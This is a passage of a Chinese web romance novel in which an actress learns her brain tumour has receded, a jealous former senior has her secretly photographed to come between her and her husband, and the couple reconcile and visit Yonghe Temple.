她颤抖着手,掐住自己的大腿,努力保持声线平稳:“那请问医生,为什么我偶尔还会感觉到头疼?”
程医生看向她,认真解释:“根据你的病历单显示,你有过很长一段时间的失眠史,头疼或许不是肿瘤引起的,而是失眠导致的。”
“最近,你休息得还好吗?”
沈欢露出释然笑容,脆生生道:“我已经很久没有失眠了。”
不知为何,自从搬过来和陈璧住在一起,失眠这个坏家伙便从未找上门来,心绪也稳定不少。
“看出来了,好久没见,黑眼圈都消失了。”程医生目光扫过她微红的眼眶,忍不住调侃。
她不好意思地摸摸鼻尖,拼命忍住想要夺眶而出的泪水。
“医嘱还是和之前一样,忌烟忌酒,保持身心愉悦,长命百岁没有问题。”
程医生和蔼,为这位康复病患送出衷心祝福,“从今以后,希望我只会在电视上见到你。”
沈欢重重点头应下,笑容浮现在眼角眉梢。
她整理好病历单与检查报告,站起身,一步步走出诊室,同时,彻底走出疾病带来的阴霾,走入漫天灿烂阳光。
熬过这一鬼门关,她相信,未来迎接她的都是好日子。
她的脑子里一片空白,像游魂一般荡回酒店,关上房门,进入属于自己的隐私空间。
在无人打扰的环境里,沈欢终于不再掩饰自己大起大落的情绪,靠着门扉滑坐在地。
紧绷一路的肩头骤然松弛,憋了一路的眼泪再也忍不住汹涌流淌,浸湿衣领。
她抱着怀里的检查报告,珍重地、仔仔细细地端详数遍,哭完以后又开始肆意地笑。
悬在她头顶数年的达摩克利斯之剑在今天轰然落下,带来的却是一个再好不过的消息。
她在此刻,深切感受到了命运的垂怜。
20. 谎言
一阵悠扬铃声划开了房内寂静,沈欢匆匆擦净眼泪,吸着鼻子接起电话:“喂,严辛。”
“感冒了吗?声音怎么变沙哑了。”严辛关切。
她清清嗓子,尽力掩饰失态:“没有感冒,只是B市风沙大,有些水土不服。”
“晚上我订好了餐厅,要不要赏脸吃顿饭?”电话那头的男人彬彬有礼,发出邀约。
沈欢却之不恭,自然答应下来。
她挂断电话,仔细化妆,利用粉底遮掩住略带红肿的眼皮,这才换好衣服出门。
到达约定好的意大利餐厅,包厢装饰典雅,墙壁上悬挂着数排西方乐队唱片,艺术气息洋溢。
多年未见,严辛在文艺道路上越走越远了。沈欢在心底默想。
严辛已经提前赶到,见她进来,起身迎接,替她拉开座椅:“晚上好,在B市的事情办完了吗?有什么需要我帮忙的尽管提。”
“挺顺利的,谢谢。”
沈欢微笑落座,接过他递来的菜单,浏览一遍,对侍者说:“一份烟熏三文鱼,一份凯撒沙拉。”
“胃口不好吗?”严辛疑惑。
“周五有个晚宴,我需要控制饮食。”沈欢简单解释。
闻言,他不再强求,将菜单递给侍者:“老样子。”
侍者退出包厢,只留下两人面面相觑。
沈欢借着喝茶缓解尴尬:“几年不见,你的画室还开着吗?”
“当然开着,说到底这还是借了你的名气,才会发展得越来越好,当初你来当模特时,留下的人像画都是精品佳作。”
“后来画室口碑打出去,我又在B市开办了一个画廊,最近正在开办展览。”
严辛从黑色皮包里拿出一张邀请函:“明天要是有空的话,我可以请你来画廊逛逛吗?”
邀请函顺着桌面推到她面前,烫金黑底,印着玫瑰纹路,充满神秘气息。
沈欢看着邀请函,表情犹豫。
她刚想推辞,就被严辛的话堵回去:“这次邀请你来,主要是我想把当年的画作送还给你,就当物归原主了。”
“如今你是大明星,一直蹭你名气,我这画廊主人也有些不好意思,只是之前没有机会联系你,这次好不容易才碰面,等你回到S市,再见你一次比登天还难。”
严辛煞有介事,惹得沈欢直摆手。
她诚恳道:“那几幅画作本就归画室所有,我怎么能要回去,当初当模特时的酬劳你都给我结清了……”
严辛打断她的话,目光殷切:“就当老学长送你的礼物,行吗?”
话都说到这份上,再拒绝就显得尴尬了,沈欢只得点点头答应下来,将邀请函收入提包。
见状,严辛露出满意笑容。
侍者端着菜品进入包厢,两人止住刚才话题,聊起近日发生的事情。
“对了,冒昧问一句,你现在单身吗?”严辛拿起刀叉,优雅切割牛排,冷不丁问。
“我?”沈欢将柠檬汁挤在三文鱼上,耸耸肩,“我已经结婚了。”
刀叉碰撞声清脆传来,她惊讶挑眉,看向对面男人:“怎么了?”
“抱歉,手滑,吓到你了吗?”严辛拾起掉落在地的餐刀,面露歉意。
沈欢摇摇头,收回目光。
立刻有侍者进来,有条不紊地更换一副餐具。
包厢里安静片刻,只余侍者收拾餐具的声音。
她听见严辛问:“还是那个计算机系的陈璧吗?”
“是啊。”沈欢大方承认。
“我记得你们不是分手了吗?”严辛嗓音艰涩,长发垂在脸侧,遮挡面容。
沈欢看不清他的表情,只以为他在八卦,叹气道:“说来话长,我们前一段时间偶然重逢,然后就闪婚了。”
“这么急促?不怕以后后悔?”他迅速整理好心情,扯出僵硬笑容,重新拿起刀叉。
“目前为止,还没有后悔。”
沈欢慢慢咀嚼三文鱼,柠檬汁的酸味很好地中和了三文鱼的腻味,肉质细嫩,倒是她喜欢的滋味。
“……那就祝你新婚快乐,”严辛抬起头,长眸中闪烁着她看不懂的复杂情绪,“婚礼别忘了邀请我。”
“肯定不会忘,你可是我大学时最敬爱的学长。”沈欢俏皮一笑。
严辛也跟着笑,自个儿斟了一杯酒饮下:“这么多年过去,你还是这么嘴甜讨人喜欢。”
她以为到了商业互吹环节,不好意思地恭维他:“你也是,还是这么懂艺术!以后肯定是大艺术家。”
看着沈欢急匆匆竖起的大拇指,和诚恳的表情,严辛顿感烈酒烧喉,陷入一阵火辣辣的沉默。
吃完晚餐,严辛叫了辆车送她回酒店。
“明天见。”沈欢趴在车窗边,同他挥手告别。
严辛目送车子离开,眸光沉沉,忍不住叹气,感觉心底某个地方破碎不堪,隐隐作痛。
他暗自攥紧拳头,胃里翻江倒海,一股名为“嫉妒”的情绪死死缠绕着他,恨不得将他拖入无边黑暗。
严辛不止一次讨厌陈璧,总在漆黑长夜里悄悄叩问,为何他总是比自己幸运?
为何总是陈璧抢先一步?比他先认识沈欢,比他先得到沈欢的心,就连重逢这种事,都是陈璧撞狗运率先遇上。
为什么这个人选不能是他严辛?为什么一定是那个该死的家伙?
寒风撩动他的齐肩长发,露出一双阴鸷的眸子,满溢着不甘心。
沈欢不知道严辛心底暗藏的想法,她奔回酒店,飞扑到柔软大床上,先把诊断报告再拿出来欣赏一遍,才打开手机,犹豫着要不要给某人发消息。
恰好,说曹操,曹操就到,握在掌心的手机震动一瞬,跳出来自陈璧的消息。
【Wall:今天过得怎么样?】
沈欢唇角不自觉挂上笑容,飞速打字回复:“很好啊,晚上和朋友去了意大利餐厅。”
她等了一会儿,没收到回复,忍不住继续关心:“你呢?出差顺利吗?”
【Wall:很顺利,只是没人陪我吃晚饭。】
【Wall:你现在在家吗?】
沈欢现在还不想把她已经康复的好消息告诉陈璧,她想等
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星光之夜结束以后,带着诊断报告回家,面对面亲口告诉他。
于是她撒了个小谎:“在家呢,准备睡觉了。”
过了好一阵,对面才发来消息。
【Wall:那就晚安,好梦。】
沈欢微微皱眉,有些不高兴,回消息这么慢,而且才聊几句就不聊了?他看起来一点也不关心她。
小脾气上来,她也不想理他了,干脆利落回复两个字:“晚安。”
把手机扔在床头柜上,沈欢生了一阵闷气,才起身慢悠悠晃去洗澡卸妆。
A市,霍氏酒店。
专属套房内一片暗沉,陈璧坐在书桌旁,只开着一盏小台灯,淡黄灯光映亮他的侧脸。
手机屏幕明明灭灭,却始终停留在与沈欢的对话框,他反复浏览她的回复,黑眸泛起努力压抑的怒火。
她骗了他,她在对他撒谎。
这个念头一旦闪烁在他的脑海中,他就控制不住自己的情绪,恨不得抛下手头所有工作,立刻包机飞去B市,恶狠狠质问她。
为何晚宴明明安排在周五,她却提前几天前往B市?
这么迫不及待想要见到她的好学长吗?
他的手机短信里静静躺着几张照片,赫然是严辛与沈欢一前一后进入餐厅包厢的身影。
两人还并肩走出包厢,站在餐厅门口笑意融融,一副难舍难分的样子。
他心知,所谓的“难舍难分”或许是偷拍人刻意找的角度。
可摆在他面前的事实是,她明明和这位学长在B市共进晚餐,却转头告诉他,自己刚刚和朋友一同吃饭,现在正待在S市的家里。
为什么要骗他?陈璧攥着手机枯坐半夜,仍然百思不得其解。
第二天,沈欢按照邀请函上注明的地点,前往画展。
她戴好墨镜口罩,本以为画展里会人来人往,一路上都在担心会被人认出来,到场之后却发现只有她一个人,不禁诧异地四下张望。
“欢迎光临。”严辛一身西装,长发在脑后半扎成小狼尾,文质彬彬走出来迎接她。
沈欢将邀请函递给他,脸上写满疑惑:“怎么只有我一个人,其他客人呢?”
“其实我骗了你,明天展览才正式开始,我邀请你今天来,也是因为信任你的审美,想让你帮我掌掌眼,哪儿不合适我还可以及时调整。”严辛接过邀请函,露出恰到好处的微笑,和煦温暖。
他做出一个请进的迎宾动作:“走吧,这次展览的第一位客人。”
沈欢受宠若惊,跟在他身后往里走,好奇打量周围。
“这次展览的主题是Loveandbeautiful,因此整体色调呈红粉色,再辅以蓝黑色中和。”严辛不疾不徐地介绍。
沈欢仔细观察后,认真评价道:“你的设计很好,蓝黑色点缀恰到好处,可以中和红粉色带来的过高饱和度,还能让人冷静下来,认真审视这些作品,体会其中隐藏的爱与美。”
严辛闻言,回头注视她,眸光流转。
“怎么?我说错了吗?”沈欢对上他的眼神,疑惑道。
21. 爱己
“让人冷静下来……”
严辛低声重复,发出短促的轻笑,“你没有说错,你已经读懂了我的设计理念。”
“蓝黑色交融和谐,确实可以更好地凸显作品里的爱,这正是我的目的。”
两人并肩向展览内部走去,斑斓墙上挂着各路新锐艺术家的画作,沈欢听着严辛介绍默默端详,有几幅画作确实让人眼前一亮,生出收藏的念头。
家里墙上似乎有些空荡,需要艺术品点缀。
“你有喜欢的作品吗?随便挑一幅,我送你。”严辛似乎看出了她的想法,侧头看她。
沈欢自然不好意思收下礼物,急忙摇头:“不用了,哪能让你破费。”
严辛似乎也只是随口一提,带着她走到楼梯口:“你的肖像画就在楼上,这次并没有对外展出,要不要来看看?”
沈欢点点头,顺着蜿蜒旋转的木质楼梯向上走,伴随“咯吱咯吱”声进入二楼。
二楼面积比不上一楼,但屋顶挑得很高,倒显得宽阔大气,她站在窗边,可以清晰看见不远处的胡同小巷,古朴与现代交融,生机勃勃。
数幅画作陈列在画架上,被黑布遮挡,严辛走上前,抬手抽开防尘布,仿佛徐徐揭开美丽的面纱。
沈欢将视线从窗外挪回,定睛看去,赫然是大学时的自己,十八九岁的年纪青春洋溢,唇不染而红,黑发长长披散在肩头,白色连衣裙垂至膝盖上方,露出修长笔直的小腿。
年少的她就这样笑吟吟,隔着数年时光看着二十五岁的她,不识半点愁滋味。
她依稀记得,在画室当模特,待这几幅作品完成以后,她得到了严辛结给她的工资。
拿着这笔钱,她在医院进行详细检查,最终确诊了脑瘤,住院手术治疗需要剃掉一头精心呵护的长发。
那两年里,她宛若行尸走肉,根本没有勇气面对镜头,也不敢照镜子,生怕看见自己苍白消瘦的面庞。
画作流传到网络,引起热议时,沈欢正躺在医院病床上,熬过化疗带来的刺骨痛楚。
热搜里的她耀眼恣意,笑容明媚,而病床上的她摸摸头顶扎手的茸发,和一道缝合的深深伤疤,忍不住于长夜痛哭落泪。
面色红润健康的自己,仿佛已经是上辈子的事。
“沈欢?”耳边传来严辛轻声呼唤,沈欢打了个寒颤,自回忆里抽身,抬头对上他关切的目光。
“你还好吗?”严辛询问。
沈欢悄悄擦干眼泪,小声嘟哝:“我没事,就是想起大学生活,有些伤感罢了。”
“听说你后来出国了,在国外大学过得怎么样?”严辛目光锁定在她脸上,似乎想找出一丝端倪。
她挤出笑容:“除了吃不惯白人餐,课程难度大,其他没什么不好的。”
严辛点点头,话锋一转:“可我怎么听说,你没有去哥伦比亚大学呢?”
“你听谁胡说八道的?”沈欢面容镇定,疑惑反问,“没有人会拒绝哥大的Offer。”
他点点头:“那可能是传谣吧,确实,哥大法学系非常出色,没人会为了爱情拒绝前途。”
“——这是你当初和陈璧分手的原因吗?”
沈欢唇色微微泛白,一些久远的记忆向她袭来,恨不得淹没她渺小的身躯。
“……是啊,没有人会为了爱情拒绝前途,在那时,哥大是我最好的选择。”
她目光晃动片刻,恢复坚毅道。
“可你后来也没有从事法学,反而进了娱乐圈,你不后悔吗?”严辛继续追问。
沈欢摇摇头,声音沉稳下来:“我从不为我做过的决定而后悔。”
他张张嘴,还想再打探几分,却被沈欢直接打断了:“那我叫助理过来,将这些画带走了,谢谢你悉心保管它们这么多年。”
“不用谢,”严辛不动声色地瞥了眼楼梯口,走到角落,搬出一幅罩着防尘布的画,温柔地看着她,“这是我专程送你的礼物,不要拒绝好吗?”
她犹豫片刻,还是接受了。
“答应我,回去以后再打开防尘布,现在先保持一点神秘感。”他将手指放在唇边,做出“嘘”的手势,眨眨左眼。
沈欢莞尔:“好的学长。”
助理赶来,依次将画作搬到车子后备箱里摆放整齐。
严辛没有理由再留下沈欢,只好送她离开画展。
她坐上保姆车后座,突然降下车窗,神色认真:“学长,之前听你一直说婚姻是爱情的坟墓,但我踏入婚姻以后,依旧活蹦乱跳的,所以还是希望你能早日遇见心仪的另一半,结婚的时候一定要邀请我。”
“……好,祝你一直幸福。”严辛眸光复杂,狼尾扫在后颈,泛起不可忽略的酥麻疼痛。
再不肯面对现实,他也得清楚,面前的女人,已经是有夫之妇,是他从未得到过的心上人。
严辛突然意识到,这次重逢,他的心思在她眼里一直昭然若揭,并且,他非常清楚,她从未给过他暧昧机会。
车窗缓缓闭合,黑色保姆车迅速驶离此地,留给他的只剩汽车尾气,以及……
一个暴戾的男人。
严辛抬头,对上陈璧黑沉的眸子,轻笑一声:“你果然来了,在外面偷听的感觉如何?”
“我倒想问你,挑拨离间的感觉如何?”陈璧攥紧拳头,手臂肌肉紧绷,努力克制想要揍人的冲动。
“挺好的啊,看到你现在这副模样,我的目的就达成了。”严辛耸耸肩,故作得意。
“那些照片都是你派人偷拍的?”陈璧攥住他的衣领,将他狠狠揪到自己面前,咬牙质问,“欢欢把你当做学长,你居然派人跟踪她,你和狗仔有什么区别?”
“咳咳,松手!”严辛努力掰着他的手腕,脖颈被衬衫衣领勒出红痕,一时喘不出气。
这人简直是一只疯狗!
他竟没想到,令陈璧暴怒的点居然是这个。
陈璧五指一松,严辛险些摔跌在地,他刚稳住身形大口呼吸,便听见高他一头的男人冷声道:“把照片给我删了。”
严辛老老实实拿出手机,当着他的面,将关于沈欢
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的照片删了个精光。
“狗仔那边的呢?”陈璧黑眸慑人,严辛不敢反抗,喏喏致电狗仔。
处理好这一切,陈璧转身欲要离开,听见严辛在背后阴恻恻道:“承认吧,其实沈欢根本不爱你,她更爱她自己,更爱她的前程,你在她心底根本排不上号。”
“你不必关心我的婚姻,也不必惦记你不该惦记的人,否则我会让你付出相应代价。”
陈璧没有回头,声音顺着寒风传来,带着凛冽的威胁。
“还有一点,沈欢只需要学会爱自己,倘若她的前途与我产生冲突,我会竭尽所能走进她的前途与未来里。”
“而这就是我能和她结婚的原因。”
直到陈璧的身影消失在道路尽头,严辛才怔怔低头,眼眶泛起浓重红丝,自嘲一笑。
他在这一刻才明白,自己早已在这段爱情追逐里输得彻彻底底。
路上有些堵车,沈欢坐在保姆车后座,翻看周五晚宴的具体流程安排,姿态闲适。
据李姐说,这次星光之夜还添加了一个慈善拍卖环节,每位明星都需要提供两件拍品进行拍卖,最终筹得的善款会全部捐给山区女童,助力她们走出大山。
这个环节设计得挺好,只是她离开S市时走得太急,除了腕上戴着的粉钻手链,一时竟找不出值钱物件。
沈欢苦恼皱眉,她舍不得将陈璧送的礼物推出去拍卖。
或许是她的表情过于明显,助理出声宽慰:“放心吧,沈姐,陈总都帮忙安排好了。”
沈欢惊讶目光扫过前排:“李姐也被陈璧收买了?现在我的事,他都了如指掌?”
狗男人,他一天天的有这么闲吗?沈欢暗自腹诽。
“其实,清岚娱乐公司被陈总收购了,因为工作室还没有独立出去,所以现在他是我们的大老板。”助理犹豫片刻,选择告诉她这个“好消息”。
她呆滞一瞬,忍不住怒了:“他一个鼓捣计算机的,懂怎么运营娱乐公司吗?真是瞎搞!”
怀揣着怒气,她回到酒店房间,决定先洗个澡冷静一下,再去酒店餐厅用餐。
沈欢动作麻利,脱掉羽绒服挂进门口衣柜,双手揪住衣摆往上拉,露出流畅的腰线,白皙晃眼。
毛衣衣领有些窄小,恰好卡在她耳朵下颌处,惹得她一阵憋气。
突然,一双大手抚上沈欢手背,她眼前被毛衣罩住,陷入一片漆黑,根本不知道是谁偷偷潜入她的房间,脑海中闪过无数个鬼故事和凶杀案。
她顿时浑身僵硬,忍不住尖叫一嗓子:“啊!”
“是我,陈璧。”低沉熟悉的嗓音传到她耳中,在此刻宛若天籁。
沈欢松了口气,借着他的力气脱下勒紧的毛衣,责备瞪他,一阵阴阳怪气:“你吓死我了,大老板。”
白皙细腻的肌肤裸露在外,她却因为魂不守舍,没有及时反应过来。
陈璧难耐侧头,目光克制,避开一片春色。
他的喉结上下滚动,嗓音低哑热腾:“……欢欢,你能不能先穿上睡衣?”
22. [锁] [此章节已锁]
沈欢愣愣低头,待看清自己的处境之际,脸颊骤然泛起惹眼薄红,她匆匆展开毛衣裹住上半身,像兔子一般蹿进距离最近的浴室。
“快帮我把睡衣递过来!”气急败坏的声音透过磨砂玻璃传到陈璧耳中,他甚至可以想象出她懊恼表情。
他悠悠应下:“马上来。”
陈璧拿起叠放在衣柜里的睡裙,走到浴室门口,抬手敲敲。
玻璃门羞涩开启一条小缝,一只雪白胳膊伸出来,迅雷不及掩耳之势掠走睡裙,门缝随之紧紧闭合。
完全是一只警惕的兔子,陈璧忍不住轻笑出声。
他收拾完严辛那头的事,就火速赶来酒店见沈欢,没想到她路上堵车还没回来。
幸好助理给了他一张备用房卡,他能够坐在房间沙发上等她。
可令他更没想到的是,沈欢一进房间就开始自顾自脱衣服,他完全没来得及出声制止。
一想起无意间瞥见的诱人春色,陈璧顿时感觉口干舌燥,某处泛起明显灼烧感。
他坐回沙发,捧起桌边茶水猛啜,心虚地想,一定是B市冬天气候过于干燥。
浴室水声渐停,沈欢穿着鹅黄睡裙,边擦拭头发边走出来,面色恢复正常:“你怎么来了B市?不是去A市出差吗?”
陈璧暗想,他再不来,老婆都要被贼人抢走了。
他表面上云淡风轻:“核心业务完成了,其他时间归我自由安排,听助理说你在B市,我就想来找你。”
沈欢想问他为什么要来找她,话到嘴边又咽了下去。
他站起身,从床头柜里找出吹风机,插上电朝她招手:“过来。”
沈欢站在原地不动,干发巾死死握在手里,水珠顺着发丝浸没于其中,她的视线左顾右盼,望天望地就是不肯看他。
“乖,冬天要把头发吹干才不会感冒。”陈璧语气温柔,像在哄不听话的小孩子。
“你放那儿,我自己来。”她硬邦邦道,试图以命令的方式来掩盖自己的心慌。
陈璧顺从放下,退回到沙发旁,视线依旧停留在她身上。
沈欢咽了咽口水,走上前拿起吹风机,背对着他坐在床沿,低下头,有条不紊地吹干一头波浪卷发。
头发彻底恢复蓬松,她悬在半空的心也慢慢落到实处。
吹风机一停,噪音消失,房间里瞬间显得格外寂静,身后的视线也变得越来越灼热。
她强装镇定俯下身,将吹风机塞回床头柜里。
“在B市这两天,你和学长玩得开心吗?”陈璧轻声问。
沈欢动作一僵,飞速合上抽屉,怒视他:“你跟踪我?”
她的心里一阵慌乱,若是一直被人跟踪,那她在医院复查的事,他不会已经知道了吧?
陈璧摇摇头,嗤笑:“是严辛派人跟踪你,跟他在一起的时候,你的警惕性都下降了,连被人跟踪都不知道。”
“欢欢,我在你眼中,人品这么低劣吗?”
他的唇角微扬,却流露出丝丝苦楚。
“是我错怪你了,但我和他——”沈欢不愿居于低处,直起身急急解释。
男人打断她的话:“你知道他从大学起就喜欢你吗?”
“我知道,”沈欢望着他黑沉的眸,一字一顿道,“但是不管你怎么想,我对他只有对学长的感激。”
“从今以后,和他保持距离,我不想从任何人口中听说,你私下和他见面。”陈璧没说信,也没说不信,只是冷静发出最后通牒,强调他所能容忍的底线。
“同时,那几幅画,我不希望你带回我们的家里。”
沈欢隔着宽阔的大床与他对峙,两颗心却仿佛隔着千山万水,她的呼吸频率变得很慢,垂在裙边的指尖微微发麻。
她动了动唇,想说什么却又哽住。
最后,千言万语都化作一声平淡的回应:“如果这也是协议必须履行的一部分,那我知道了。”
话音落下,沈欢径直走向衣柜,拿起羽绒服披在肩头,手指挨上冰冷的门扉。
“你要去哪?”陈璧在她身后问。
“你管不着。”沈欢寒声道,用力按下把手。
倏然,一股大力自她的左臂传来,她感觉一阵天旋地转,后背抵上浴室厚重的磨砂玻璃,发出嘭然响动。
刚披上的羽绒服无力滑落,灼热掌心越过薄薄吊带,毫无阻碍地抵住她的肩膀。
沈欢抬头,对上一双压着火气的眸。
她顿时怒气上涌,开始口不择言:“你凭什么限制我人身自由?我要去哪里需要给你报备吗?你是我什么人?我想见谁就见谁,有你生气的份吗?”
“外面这么冷,你就穿一件睡裙往外跑?”面对她连珠炮似的言语攻击,陈璧不接话,咬牙质问。
沈欢一噎:“我穿了羽绒服!”
“别忘了,你可是大明星,想上热搜头条的话,尽管出去。”他冷笑一声,提醒道。
沈欢偏过头去,不想告诉他,其实她只是想去隔壁助理房间躲着冷静一下。
“为什么生气?”陈璧俯身,两人距离顿时拉近,说话间呼吸扑在她额头,令那一片肌肤都变得滚烫起来。
“就因为我不想让你和他来往?他对你来说很重要?”
沈欢摇头:“我说了,我对他只有感激,他曾经帮过我。”
“可他不是好人,他派人跟踪你,还偷拍照片发给我,试图挑拨离间。”陈璧索性把一切都摊在桌面上,让她看清严辛的真面目。
“所以,远离他没有坏处。”
沈欢诧异,她确实不知道偷拍这件事情,气势顿时萎靡两分。
她嗫嚅抗议:“那你也不能限制我的自由,你根本不信任我!”
“你和严辛在画展二楼说话时,我就在外面。”陈璧哑声道。
沈欢飞速转动大脑,回忆自己当时在严辛的引导下,说了什么话……
想起一切时,她蓦然睁大眼睛,心虚地主动攀上他的肩,衬衫料子丝滑柔软,掌心下是温热硬挺的肌肉,她下意识摩挲两下,自男人肩头滑到小臂。
嗯,手感很好。
察觉到她的暗中讨好,陈璧眸中泛起波澜,低声威胁:“安分点,我没你想的那
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么有定力。”
沈欢感受到某处正在彰显存在感,顿时老实讪笑:“我可什么都没干。”
陈璧稍稍拉开一丝距离,睨她:“若是我真的不信任你,我会在那时直接闯进去。”
“你有没有想过,孤男寡女处于空无一人的画展,如果他起了歹心,力量对比悬殊,你连呼救都没有机会。”
她闻言一顿,不得不承认,她确实没有发觉这些潜在的威胁,此刻背后冒出一阵冷汗,隐隐有些后怕。
“那我也不能和你处在密闭房间里,也是孤男寡女。”她嘴硬找茬,心底其实已经明白他的意思。
“……你刚才不是问我是你什么人吗?”陈璧注视着她,表情认真,“表面上,我们是领了证的夫妻关系,从这一点来看,我和严辛不一样。”
“那实际上呢?”沈欢对上他的视线,鬼使神差问。
陈璧薄唇微抿,黑眸突然蕴着温柔,仿佛盛了一池春水:“实际上,是我单方面追求你的关系。”
“欢欢,我会一直等,等到你愿意给我名分的那天。”
直到后来,两人坐在酒店餐厅吃午饭的时候,沈欢的脑子还是晕晕乎乎的,仿佛脚底踩着柔软的云,轻飘飘浮在半空。
她的耳边一直回响着陈璧说的那句话,嘴角忍不住挂着神秘笑容。
对上男人探究的目光,她就扬扬手里的烤鸭卷饼,眉眼弯弯:“B市的烤鸭真好吃,不愧是特色。”
“既然你喜欢,到时候打包几份回S市吃。”陈璧收回视线,放下筷子麻利卷好一个小饼,自然放进她的盘子里。
饭后,阳光正好,两人闲来无事,回房间换好衣服,全副武装出门散步。
酒店地段不错,闹中取静。
他们走到胡同巷子里,有大姨骑着三轮车叫卖糖葫芦,沈欢只不过多看了一眼,陈璧便自觉掏钱买下一根冰糖草莓,转手递给她。
“你怎么知道我想吃草莓?”沈欢站在摊前咬下一口,草莓软糯,汁水四溢,混着脆甜糖壳入嘴,滋味独特。
陈璧但笑不语。
大姨眯着眼睛看向两人,热情感叹:“小情侣感情真好啊。”
没待沈欢说话,她接着惊讶:“哎哟喂!小姑娘,你长得真像我女儿喜欢的女明星,那个叫什么来着?沈……”
大姨还没想出人名,一抬头,面前已经空空如也,不由得皱眉:“是我眼花了吗?可是这副眉眼长得真有些熟悉。”
沈欢拽着陈璧的手飞速逃离现场,寒风在耳边肆虐而过,她跑出老远才停下来,扶着斑驳的墙大喘气。
他们对视一眼,看清彼此略显狼狈的模样,又忍不住笑起来,甚至没注意到两只手还紧紧交握在一起。
“我们这算私奔吗?”陈璧呼吸还算平稳,含笑逗她。
沈欢从包里拿出墨镜戴上,还不忘瞪他:“谁想跟你私奔!”
可惜墨镜降低了她的眼神杀伤力,陈璧看不见便丝毫不惧,翘着嘴角回答:“你呀,而且是你主动拐着我私奔。”
沈欢藏在墨镜后悄悄翻白眼,懒得理这个幼稚鬼。
23. 撒娇
沈欢站在墙边吃掉一半冰糖草莓,冬日暖阳威力不小,糖壳逐渐化为黏黏糊糊的汁液,顺着棍子滴答到她手上。
她讨厌这种腻人感受,下意识举到陈璧面前:“给你,我不想吃了。”
陈璧没接,就着她的手,三下五除二消灭掉剩余的草莓。
他眼睫微垂,视线落在她沾染糖水的手上,近在咫尺,让人不禁生出想要舔舐的冲动,恨不得轻轻裹住她细嫩指尖,品尝这双手带来的甜滋味。
他的唇离自己太近了,沈欢隐约察觉到危险,窘迫蜷缩手指,迅速撤回,将竹签扔进一旁的垃圾桶里。
陈璧顿感遗憾,只好收回邪恶念头,从上衣口袋里拿出一小包湿巾,仔仔细细替她擦干净残留的糖浆,再拿出纸巾拭掉水渍。
沈欢任他摆弄,忽略手上冰凉触感,盯着他的衣兜一个劲瞧,看着扁扁平平,却能像变魔术一般掏出一堆东西,如同叮当猫的百宝箱。
收拾妥当,她将手插进宽大的羽绒服兜,隔绝他的窥视,昂头向前走,男人自觉提腿跟上。
胡同道路窄小,时不时蹿出一辆叮铃铃的自行车,陈璧索性走在沈欢左侧,将她护在自己和墙壁之间。
两人也没有拿出手机查看导航,遇到岔路口就凭感觉乱拐,穿梭在曲折巷子里,伴随着探险的隐秘刺激感。
在拐了不知道多少个弯以后,他们眼前豁然开朗,大路上人影幢幢,放眼望去,尽是游客欢声笑语。
“我们走到哪里来了?”沈欢捂紧口罩,好奇戳戳身旁的人。
陈璧仰头辨认不远处的建筑物:“雍和宫,要不要进去拜一拜?这儿的香火很旺,香灰琉璃手串很出名。”
秉持着“来都来了”的游客心态,沈欢自然不会拒绝。
买完票,两人在门口免费领到一把香,混迹在人群中往里走,因为B市冬天风沙大,附近戴口罩围巾的游客不少,倒显得全副武装的沈欢没那么突兀。
一路上红墙黄瓦,树木枝桠蜿蜒,衬托出肃穆气氛。
她逛到昭泰门,看见旁边排着长队,踮脚向里面张望:“这儿就是请手串的地方吗?”
陈璧点头,拉着她缀在队伍末尾。
队伍慢慢向前移动,终于轮到他们进入法物流通处,沈欢走到柜台前,迅速被一串浅色五福多宝手串吸引走目光。
与它挨在一起的是一串纯黑色手串,清冷气质像极了陈璧这个人。
沈欢指着它们,笑眯眯对柜员说:“麻烦取一下这两串。”
结完账,她回到陈璧身边,将黑色那串递给他:“喏,送你的礼物。”
他明显顿了顿,也递出一串:“……这是我送你的。”
沈欢看着放置在他掌心的紫琉璃手串,忍不住笑出声:“陈老板,我们是来雍和宫进货的黄牛吗?”
陈璧莞尔。
两个糊涂蛋就这样一人拿着两串,去开光处进行某种神秘仪式。
仪式结束后,沈欢直接戴上紫琉璃手串,她举起手腕端详,串珠在阳光下晃悠出好看光芒,与粉钻手链交相辉映。
陈璧跟在她身后,默默收起自己挑的那串,戴上沈欢送给他的礼物。
“我看到它就觉得很适合你。”沈欢凑过来看,点评道。
陈璧抬眸:“为什么?”
她趁机吐槽:“跟你本人一样,冷冰冰的,整天没什么情绪的样子。”
“欢欢,”他轻声叫她,纠正道,“我对你可不冷冰冰。”
沈欢脑海中突然闯入一些炙热的触感,硌人不适,悄悄瞪他一眼。
“胡思乱想什么。”陈璧抬手敲敲她额头,似笑非笑看她,仿佛可以洞察她心底色气的念头。
“流氓……”她捂着头咕哝,继续向下一个殿走。
沈欢对神仙不厚此薄彼,每个殿都进去,认真拜一拜,再烧上三根香。
“许了什么愿望?”陈璧站在一旁问。
“不告诉你,说出来就不灵了,”沈欢起身把香柱插进炉子里,拍拍手催促,“你不过来磕个头?”
男人不答话,反而慢悠悠问:“你知道这个殿是求什么的吗?”
沈欢抬头,面前观音像巍峨庄严,慈眉善目俯视苍生,周围檀香萦绕,令人内心染上宁静。
她隐隐有种不祥预感,一些佛教知识在脑海中闪烁,此刻非常懊恼进殿的时候并没有细看。
“在雍和宫拜观音,求的是姻缘、子嗣,请问你想要哪一个?”陈璧唇角勾起,好心解惑。
沈欢身躯一僵,根本不想答话,她捏着剩下的香柱,逃难似的转身往外走。
陈璧起了逗弄心思,故意跟在她身后添油加醋:“如果你想要姻缘子嗣,与其求神拜佛,不如求我。”
“闭嘴,你才想要这些!”沈欢咬牙,大步跨过门槛,不知不觉间从耳后一路红到脖颈。
直到殿外冷风呼啸而过,她才感觉脸部温度稍稍降下来,扭头恨恨睨他。
陈璧无辜眨眼,露出得逞的笑:“我只是好心提醒你。”
她冷哼一声,转身离开观音殿。
直到烧完最后一炷香,他们走出雍和宫大门时,沈欢都板着脸不想理他。
斜刺里伸过来一只手,捧着一个冰淇淋甜筒,她顺着看去,赫然是陈璧盈着淡笑的脸:“别生气了,请你吃抹茶冰淇淋。”
“这么冷的天,吃什么冰淇淋?”沈欢双手抱臂,高傲仰头。
她才不想这么轻易原谅他。
陈璧一脸遗憾:“那我只好一个人吃两个口味了,也不知道是抹茶味好吃,还是花茶味。”
沈欢的视线不受控制往他手上瞟,气呼呼伸手:“我要花茶味的。”
他强忍住唇角弧度,若无其事递过花茶味冰淇淋:“助理开着车在路口等我们,车上暖和,上车再吃就不冷了。”
